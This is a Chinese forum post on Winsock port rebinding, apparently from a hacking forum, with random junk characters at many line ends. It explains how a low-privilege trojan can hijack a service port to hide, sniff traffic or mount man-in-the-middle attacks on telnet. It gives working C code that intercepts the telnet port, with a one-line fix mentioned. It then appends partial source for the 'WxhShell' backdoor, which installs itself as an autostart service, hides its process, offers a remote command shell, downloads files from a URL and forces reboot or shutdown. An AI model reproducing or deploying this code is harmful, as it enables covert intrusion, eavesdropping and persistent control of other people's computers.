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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y3jb 'S4(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9PEjV$0E2  
@"T_W(i;BI  
  saddr.sin_family = AF_INET; 8}m] XO  
+O:Qw[BL/Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +vfk+6  
@AL,@P/9=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ( B$;'U<  
 5I5~GH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G8"L #[~  
r?d601(fa  
  这意味着什么?意味着可以进行如下的攻击: =!r9;L,?  
7,ODh-?ez  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PL<q|y  
Mq]~Ka3q7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FLY#   
I'G$:GX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (`gqLPx[  
z (rQ6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  he&*N*of:  
LOi5 ^Um|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `p9h$d  
%WHue  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6w<jg/5t  
e4Ol:V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~P|YAaFx  
5>4<_-Tm  
  #include S/ ]2Qt#T  
  #include %1a\"F![  
  #include <oTIzj7f  
  #include    ZeF PwW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hT9fqH  
  int main() em<(wJ-Y  
  { SfQ ,uD6  
  WORD wVersionRequested; )Ve?1?s '8  
  DWORD ret; V[Fzh\2n  
  WSADATA wsaData; }'a}s0h  
  BOOL val; 8a|p`)lT  
  SOCKADDR_IN saddr; 3,e^; {w  
  SOCKADDR_IN scaddr; JadXdK=gE  
  int err; z '3  
  SOCKET s; bNp RGhlV  
  SOCKET sc; "zL<:TQ"  
  int caddsize; i}N'W V`!  
  HANDLE mt; dGMBgj  
  DWORD tid;   7qq}wR]]  
  wVersionRequested = MAKEWORD( 2, 2 ); 8v\BW^z3  
  err = WSAStartup( wVersionRequested, &wsaData ); BZ<Q.:)  
  if ( err != 0 ) { NMM0'tY~  
  printf("error!WSAStartup failed!\n"); f"q='B9_T\  
  return -1; L;H(I@p(e  
  } ".onev^(  
  saddr.sin_family = AF_INET; O8"kIDr-  
   BV"7Wp;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;'NB6[x  
*KN'0Z@W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rR&;2  
  saddr.sin_port = htons(23); =o;8xKj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R2yiExw<  
  { *=mtt^yZ  
  printf("error!socket failed!\n"); k?3NF:Yy7  
  return -1; _@;t^j+l  
  } <XiHQ B!  
  val = TRUE; !#` .Mv Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XT> u/Z)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) URdCV{@42  
  { ;D&FZ|`(u  
  printf("error!setsockopt failed!\n"); x;dyF_*;  
  return -1; H WOs   
  } FY+0r67]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0sM{yGu=,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "bZ%1)+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y|FF ;[  
9`]Gosz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pyYm<dn  
  { / E}L%OvE  
  ret=GetLastError(); UJMM&  
  printf("error!bind failed!\n"); bYQvh/(J  
  return -1; jI %v[]V  
  } N^z4I,GV(  
  listen(s,2); o|O730"2F  
  while(1) PKFjM~J  
  { k=!lPIx  
  caddsize = sizeof(scaddr); lHQ:LI  
  //接受连接请求 nb dm@   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l{<+V)  
  if(sc!=INVALID_SOCKET) Yci>'$tQ  
  { 1c8Nr&Jl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rYez$e^r  
  if(mt==NULL) /iURP-rl  
  { ._'AJhU$0  
  printf("Thread Creat Failed!\n"); n Mm4fns  
  break; " E+V >V+  
  } 8 p D$/  
  } ZD!?mR+-  
  CloseHandle(mt); %PA#x36  
  } EMy>X  
  closesocket(s); 9#(Nd, m})  
  WSACleanup(); mD@*vq  
  return 0; =T"R_3[NC  
  }   {<ms;Oi'  
  DWORD WINAPI ClientThread(LPVOID lpParam) wr);+.T9R  
  { ZtHTl\z  
  SOCKET ss = (SOCKET)lpParam; 6[+@#IWx  
  SOCKET sc; Gbj^oo  
  unsigned char buf[4096]; U<<@(d%T  
  SOCKADDR_IN saddr; r~rftw  
  long num; NJ]AxFG  
  DWORD val; j-]`;&L  
  DWORD ret; P=3mLz-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aF8'^xF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /=5:@  
  saddr.sin_family = AF_INET; P^'TI[\L9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qAI %6d  
  saddr.sin_port = htons(23); #hMS?F|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *Wj]e%  
  { e|-&h `[  
  printf("error!socket failed!\n"); c'|](vOd]  
  return -1; +H{TV#+r  
  } J2 ZV\8t  
  val = 100; i}Q"'?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [&(~{#}M:  
  { ^sVr#T  
  ret = GetLastError(); 216=7O2F  
  return -1; i(qZ#oN  
  } C))x#P36  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,,G[360  
  { MCO2(E-  
  ret = GetLastError(); ;kD UQw  
  return -1; U9"(jl/o  
  } fI v?HD:j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V O\g"Yc  
  { d/Sw.=vq  
  printf("error!socket connect failed!\n"); (b;Kl1Ql]  
  closesocket(sc); C4aAPkcp2$  
  closesocket(ss); "wy2u~  
  return -1; oGRd ;hsF  
  } E1j3c :2  
  while(1) +)hxYLk&I  
  { 6H1;Hl f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \483S]_-z{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 d&* c3F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9.%t9RM^  
  num = recv(ss,buf,4096,0); t"s$YB>}  
  if(num>0) 9Nw&l@  
  send(sc,buf,num,0); /\{emE\]  
  else if(num==0) @>,GCuPrm  
  break; _\.4ofK(  
  num = recv(sc,buf,4096,0); !bCSt?}@u  
  if(num>0) &,P; 7R  
  send(ss,buf,num,0); Q=6 1.lP6  
  else if(num==0) 5sANF9o!  
  break; 8_VGB0~3i  
  } g< xE}[gF  
  closesocket(ss); 0xx4rp H  
  closesocket(sc); b "aF-,M>  
  return 0 ; +[R^ ?~VK  
  } 7},oY"" 8  
hF{gN3v5  
.{t*v6(TP  
========================================================== Xj{gyLs  
'4Jf[  
下边附上一个代码,,WXhSHELL -g."{|  
&09&;KJ  
========================================================== \%&A? D  
Wco2i m  
#include "stdafx.h" @t a:9wZ  
qyxd9Lk1  
#include <stdio.h> dk^jv +  
#include <string.h> P-a8S*RRa  
#include <windows.h> Xt:$H6 y  
#include <winsock2.h> gxhdxSm=2  
#include <winsvc.h> 5S8>y7knQ  
#include <urlmon.h> `#' j3,\6  
3"zPG~fY{  
#pragma comment (lib, "Ws2_32.lib") $E&T6=Wn  
#pragma comment (lib, "urlmon.lib") ^.R!sQ  
QJj='+R>  
#define MAX_USER   100 // 最大客户端连接数 g^Hf^%3xP  
#define BUF_SOCK   200 // sock buffer I eJI-lo  
#define KEY_BUFF   255 // 输入 buffer  B$6KI  
L}CU"  
#define REBOOT     0   // 重启 n 7i5A:  
#define SHUTDOWN   1   // 关机 <5D4h!  
Z1jxu;O(  
#define DEF_PORT   5000 // 监听端口 ZG 0^O"B0  
vQ* RrHG?c  
#define REG_LEN     16   // 注册表键长度 !(7m/R  
#define SVC_LEN     80   // NT服务名长度 h]h"-3  
jC_'6sc`  
// 从dll定义API _}Qtx/Cg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E a&NJ]& g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;-8.~Sm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,@c1X:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }2@Z{5sh)  
=y-yHRC7  
// wxhshell配置信息 L /:^;j`c  
struct WSCFG { R;!@ xy  
  int ws_port;         // 监听端口 >G8I X^*sG  
  char ws_passstr[REG_LEN]; // 口令 w$/lq~zU  
  int ws_autoins;       // 安装标记, 1=yes 0=no r}&&e BY f  
  char ws_regname[REG_LEN]; // 注册表键名 rbnAC*y8'L  
  char ws_svcname[REG_LEN]; // 服务名 , + G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iAZ8Y/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _,!0_\+i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x;)I%c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OA*O =  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9c[X[ Qc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7bk77`qWr  
_$96y]Bpi  
}; % Y%r2  
Sc]K-]1(H  
// default Wxhshell configuration ;.Bz'Q  
struct WSCFG wscfg={DEF_PORT, nf^?X`g  
    "xuhuanlingzhe", \KnRQtlI  
    1, u0Wt"d-=  
    "Wxhshell", ppRmC,0f^  
    "Wxhshell", 'KA$^  
            "WxhShell Service", Q3ty K{JE  
    "Wrsky Windows CmdShell Service", &'$Bk5D@G  
    "Please Input Your Password: ", yf9"Rc~+  
  1, {/]2~!  
  "http://www.wrsky.com/wxhshell.exe", ~jL%l  
  "Wxhshell.exe" ySr,HXz  
    }; (O{OQk;CF  
%jzTQ+.%]^  
// 消息定义模块 a~7D4G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M !'d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6 X~><r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5P\>$N1p  
char *msg_ws_ext="\n\rExit."; J)YlG*  
char *msg_ws_end="\n\rQuit."; G<e+sDQ2  
char *msg_ws_boot="\n\rReboot..."; ;&&<zWq3h  
char *msg_ws_poff="\n\rShutdown..."; &N^~=y^`C'  
char *msg_ws_down="\n\rSave to "; YSeH;<'  
UON=7}=$&  
char *msg_ws_err="\n\rErr!"; 9s^$tgH  
char *msg_ws_ok="\n\rOK!"; :s_> y_=g  
KAClV%jP  
char ExeFile[MAX_PATH]; D{N8q^Cs9  
int nUser = 0; #"4ioTL2  
HANDLE handles[MAX_USER]; :|s8v2am  
int OsIsNt; P:'wSE91  
:')[pO_FW*  
SERVICE_STATUS       serviceStatus; 'IX1WS&\"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )$:1e)d  
X%'z  
// 函数声明 `[sFh%:  
int Install(void); G1z*e.+y  
int Uninstall(void); 5)RZJrN]  
int DownloadFile(char *sURL, SOCKET wsh); gsyOf*Q$  
int Boot(int flag); ?$6H',u  
void HideProc(void); :ZXd%  
int GetOsVer(void); '(5GR I<  
int Wxhshell(SOCKET wsl); mITB\,,G  
void TalkWithClient(void *cs); - Z,Qj"V  
int CmdShell(SOCKET sock); T'5{p  
int StartFromService(void); (  zo7h  
int StartWxhshell(LPSTR lpCmdLine); n)kbQ]  
E%`J =C}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]j3>=Jb;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bgor W"'  
g,+ e3f  
// 数据结构和表定义 zTg\\z;  
SERVICE_TABLE_ENTRY DispatchTable[] = V\Cl""`XN  
{ Wi&v?nm  
{wscfg.ws_svcname, NTServiceMain}, :oIBJ u%/  
{NULL, NULL} `*8}q!.  
}; [ \_o_W  
OBAO(Ke  
// 自我安装 eq6O6-  
int Install(void) ?#K.D vGJ  
{ BmX'%5ho  
  char svExeFile[MAX_PATH]; XGSFG ~d  
  HKEY key; +Y 7M7  
  strcpy(svExeFile,ExeFile); Cb;6yE)!Z  
t*(bF[?  
// 如果是win9x系统,修改注册表设为自启动 jaoZ}}V_$  
if(!OsIsNt) { D^6*Cwb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KOy{?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .==D?#bn  
  RegCloseKey(key); XKjrS 9:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b&rBWp0#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,clbD4  
  RegCloseKey(key); = 7y-o  
  return 0; ; JkSZs3  
    } OXQ*Xpc  
  } z&%i"IY  
} Pm/<^z%  
else { z0 9Gp}^;  
u} mj)Nk  
// 如果是NT以上系统,安装为系统服务 B(W~]i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +KTfGwKt  
if (schSCManager!=0) jR/Gd01)  
{ uuY^Q;^I*  
  SC_HANDLE schService = CreateService S8#0Vo$)a  
  ( d1D f`  
  schSCManager, g Q\.|'%  
  wscfg.ws_svcname, (e7!p=D  
  wscfg.ws_svcdisp, GY$Rkg6d  
  SERVICE_ALL_ACCESS, egq,)6>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gnp.!-  
  SERVICE_AUTO_START, ^EUR#~b5iy  
  SERVICE_ERROR_NORMAL, =0cTct6\  
  svExeFile, 2w.FC  
  NULL, g6Vkns4  
  NULL, UXct+l  
  NULL, &ivU4rEG  
  NULL,  :xsZz$  
  NULL WESD^FK  
  ); :4{ `c.S  
  if (schService!=0) 5sY $  
  { )O[8 D  
  CloseServiceHandle(schService); e)e(f"t6Q  
  CloseServiceHandle(schSCManager); nd' D0<%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;dzy 5o3  
  strcat(svExeFile,wscfg.ws_svcname); 45JL{YRN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a OmG,+o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1n`[D&?q  
  RegCloseKey(key); l+Wux$6U  
  return 0; L~ &S<5?  
    } v^&HZk=(  
  } XC3)#D#HGh  
  CloseServiceHandle(schSCManager); c^W;p2^  
} $1])>m_ct  
} &;$uU  
?T/4 =  
return 1; WDw<kX6p  
} Gpu[<Z4  
0ca0-vY  
// 自我卸载 g (&cq  
int Uninstall(void) |<{SSA  
{ sV"tN2W@  
  HKEY key; *8)?ZZMM  
0/ QDfA?  
if(!OsIsNt) { 0N1t.3U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &eV5#Ph  
  RegDeleteValue(key,wscfg.ws_regname); |Y"XxM9  
  RegCloseKey(key); XoyxS:=>|[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I[%IW4jJ  
  RegDeleteValue(key,wscfg.ws_regname); 'fn}I0Vc  
  RegCloseKey(key); @ 51!3jeu  
  return 0; _h1bVd-  
  } >)K3  
} :3M ,]W]  
} >"/TiQt  
else { #. Dl1L/  
G4i%/_JU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gxhp7c182  
if (schSCManager!=0) w^L`"  
{ 4b}p[9k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XB'rh F8rl  
  if (schService!=0) )nHMXZ>Td  
  { HP*)^`6X  
  if(DeleteService(schService)!=0) { yl>^QMmo  
  CloseServiceHandle(schService); S[y'{;  
  CloseServiceHandle(schSCManager); %>K(IR pMW  
  return 0; ,q*|R O  
  } nWelM2  
  CloseServiceHandle(schService); D?ic~-&  
  } 5JOfJ$(n  
  CloseServiceHandle(schSCManager); rE*yT(:w  
} Q8HNST($?  
} 0084`&Ki  
q!&:y7O8  
return 1; 0of:tZU  
} d)48m}[:  
u9;3Xn8  
// 从指定url下载文件 4=q4_ \_T  
int DownloadFile(char *sURL, SOCKET wsh) ="T}mc  
{ + o< 7*  
  HRESULT hr; `LFT"qnp  
char seps[]= "/"; djf8FNnn  
char *token; !o'a]8  
char *file; :V8oWMY  
char myURL[MAX_PATH]; U-?r>K2  
char myFILE[MAX_PATH]; +2E~=xX  
i_L u  
strcpy(myURL,sURL); bIt{kzuQC  
  token=strtok(myURL,seps); XPYf1H  
  while(token!=NULL) v-$X1s  
  { O0^Y1l  
    file=token; @ &c@  
  token=strtok(NULL,seps); [9EL[}  
  } 2P57C;N8|  
D{]w +  
GetCurrentDirectory(MAX_PATH,myFILE); a&)$s;  
strcat(myFILE, "\\"); 6mZpyt  
strcat(myFILE, file); bAY >o  
  send(wsh,myFILE,strlen(myFILE),0); uF,%N   
send(wsh,"...",3,0); _z^&zuO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;).QhHeg>  
  if(hr==S_OK) {KqW<X6Hp  
return 0; v]drDVJ   
else #I yM`YB0  
return 1; 4>=Y@z  
Y0'~u+KS`5  
} 0} \;R5a<  
^YPw'cZZ&  
// 系统电源模块 ({rescQB  
int Boot(int flag) iaJN~m\ M  
{ Se/]J<]  
  HANDLE hToken; .dBW{|gN  
  TOKEN_PRIVILEGES tkp; XK l3B=h  
b#e|#!Je  
  if(OsIsNt) { > m9ge`!9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AK;G_L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AQBr{^inH|  
    tkp.PrivilegeCount = 1; ,J-YfL^x6*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q|;+Wp?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~i@Z4t j7  
if(flag==REBOOT) { $/i;UUd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) & V/t0  
  return 0; !P:~oo =  
} 0Ioa;XgOn  
else { X15e~;&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bF3}L=z  
  return 0; Yv;18j*<  
} 9%uJ:c?  
  } Y1F P |  
  else { dJg72?"ka  
if(flag==REBOOT) { +Y^/0=6h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a U*cwR  
  return 0; ,e>N9\*  
} r`'n3#O*  
else { w0t||qj^>"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  #`2*V  
  return 0; T%:W6fH7  
} ^RS`q+g  
} #$>m`r  
aq,?  
return 1; hbdM}"&]  
} ?\Jl] {i2  
AA,n.;zy<  
// win9x进程隐藏模块 *9Nq^+  
void HideProc(void) ]^^mJt.Iv  
{ X}3o  
UYb:q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jkIgEF2d*  
  if ( hKernel != NULL ) p[%FH?  
  { jz;"]k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `=3:*.T*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "h}miVArS  
    FreeLibrary(hKernel); 1e#}+i!a  
  } Fn!kest  
paW7.~3 R  
return; 7].FdjT.  
} M1T)e9k=x  
#Hr>KQ5mJQ  
// 获取操作系统版本 v [ 4J0  
int GetOsVer(void) ]MP6VT  
{ .qCD(XZ+  
  OSVERSIONINFO winfo; /_P5U E(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >{^&;$G+*  
  GetVersionEx(&winfo); (TV ye4Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X)|b_3Z  
  return 1; Hb;#aXHSd  
  else 0ZXG{Gp9S  
  return 0; 5Vzi{y/bL  
} [huS"1  
n LZ  
// 客户端句柄模块 !(soMv  
int Wxhshell(SOCKET wsl) (P[:g  
{ Y\ len  
  SOCKET wsh; iy{*w&p  
  struct sockaddr_in client; :.IVf Zw  
  DWORD myID; io$!z=W  
XOzd{  
  while(nUser<MAX_USER) 1#9Q1@'OS  
{ dhW)<  
  int nSize=sizeof(client); shOQ/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7 p(^I*|  
  if(wsh==INVALID_SOCKET) return 1; 61q:nWs  
$e7dE$eH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R;gN^Yjk:  
if(handles[nUser]==0) 1O0o18'  
  closesocket(wsh); D}wM$B@S  
else HgP9evz,0  
  nUser++; PYYOC"$  
  } y8uB>z+#+;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cbD&tsF  
NZSP*#!B  
  return 0; ]VY}VALZ  
} (5] |Kcp|  
y-gSal  
// 关闭 socket i w<2|]>l  
void CloseIt(SOCKET wsh) EM+#h'%-  
{ -9)<[>:  
closesocket(wsh); G%w hOIFRq  
nUser--;  "MD  
ExitThread(0); < ) L'h  
} ({g7{tUy^H  
Q=[A P+  
// 客户端请求句柄 8*;88vW"2  
void TalkWithClient(void *cs) y{ReQn3> y  
{ JJ5s |&}  
4i>sOP3 B  
  SOCKET wsh=(SOCKET)cs; \Jr ta  
  char pwd[SVC_LEN]; hm"i\JZ3N  
  char cmd[KEY_BUFF]; 3[plwe  
char chr[1]; Zi5d"V[}T  
int i,j; C 7)w8y  
AV\6K;~  
  while (nUser < MAX_USER) { v|:2U8YREf  
zi7,?bD  
if(wscfg.ws_passstr) { WVUa:_5{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4<b=;8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #jAlmxN  
  //ZeroMemory(pwd,KEY_BUFF); +.gM"JV  
      i=0; :=qblc  
  while(i<SVC_LEN) { ;fLYO6  
Enu/Nj 2  
  // 设置超时 $xRZU9+  
  fd_set FdRead; kk_$j_0  
  struct timeval TimeOut; v0762w  
  FD_ZERO(&FdRead); tW4|\-E"s4  
  FD_SET(wsh,&FdRead); 'r;C( Gh6  
  TimeOut.tv_sec=8; 3T)GUzt`  
  TimeOut.tv_usec=0; 4FK|y&p4r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q3a`Y)aVB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oxkA+}^j8M  
6[g~p< 8n}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /5 rWcX  
  pwd=chr[0]; U40adP? a  
  if(chr[0]==0xd || chr[0]==0xa) { Hgs=qH  
  pwd=0; KUs\7Sb  
  break; hs'J'~a  
  }  X$:r  
  i++; 5 fpBzn$  
    } ~ KNdV  
}1<_  
  // 如果是非法用户,关闭 socket gG;d+s1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d4@\5<  
} e_3KNQ`kA  
8SmtEV[b3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ="fq.Tt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _2*Ryz  
q}Wd`>VDR  
while(1) { +[l52p@a  
B{IYVviiP  
  ZeroMemory(cmd,KEY_BUFF); -~z]ut<Z  
/9/svPc]  
      // 自动支持客户端 telnet标准   X ?p_O2#k  
  j=0; {)^P_zha[9  
  while(j<KEY_BUFF) { BzFD_A>j;_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sDV*k4  
  cmd[j]=chr[0]; 9d ZE#l!Q  
  if(chr[0]==0xa || chr[0]==0xd) { _ PC}`Y'&  
  cmd[j]=0; `? ayc/TK  
  break; { bjK(|  
  } zPwU'TbF  
  j++; q7id?F}3&  
    } q3.L6M  
A/kRw'6  
  // 下载文件 o* q F"xG  
  if(strstr(cmd,"http://")) { z?C;z7eT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MZ_+doN  
  if(DownloadFile(cmd,wsh)) C#]%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0\}S [+ H  
  else U].u) g$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <&'Ye[k  
  }  >m!l5/  
  else { W68d"J%>_  
s^_E'j$  
    switch(cmd[0]) { H!dUQ  
  @Yua%n6]#D  
  // 帮助 dvUBuY^[  
  case '?': { Ov{fO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W'{q  
    break; 02]9 OnWw  
  } S fE^'G\  
  // 安装 @Kri)U i  
  case 'i': { I>b-w;cC  
    if(Install()) X-di^%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  U4#[>*  
    else  z"BV+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+mawyM  
    break; D5X;hd  
    } 2aUz.k8o  
  // 卸载 an3HKfv  
  case 'r': { WG 9f>kE  
    if(Uninstall()) $;*YdZ`q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !x.^ya  
    else '3uj6Wq2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o a,Ju  
    break; !l'Az3'J|  
    } }+`W[h&u  
  // 显示 wxhshell 所在路径 ,eRl Z3T  
  case 'p': { D%LM"p  
    char svExeFile[MAX_PATH]; xJ9_#$ngeM  
    strcpy(svExeFile,"\n\r"); 5|1&s3/f  
      strcat(svExeFile,ExeFile); . iq.H  
        send(wsh,svExeFile,strlen(svExeFile),0); [Dq7mqr$  
    break; U'LO;s04m  
    }  >p!d(J?  
  // 重启 (H9%a-3  
  case 'b': { ( DwIAO/S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q{f%U.  
    if(Boot(REBOOT)) bIizh8d?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : o$ R@l  
    else { @u/<^j3Q  
    closesocket(wsh); 1G|Q~%cv  
    ExitThread(0); XzQ=8r>l  
    } @.kv",[{[  
    break; 8aGZ% UI  
    } |aN0|O2  
  // 关机 fD q, )~D  
  case 'd': { kETA3(h'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )iy>sa{  
    if(Boot(SHUTDOWN)) tZ[BfO  
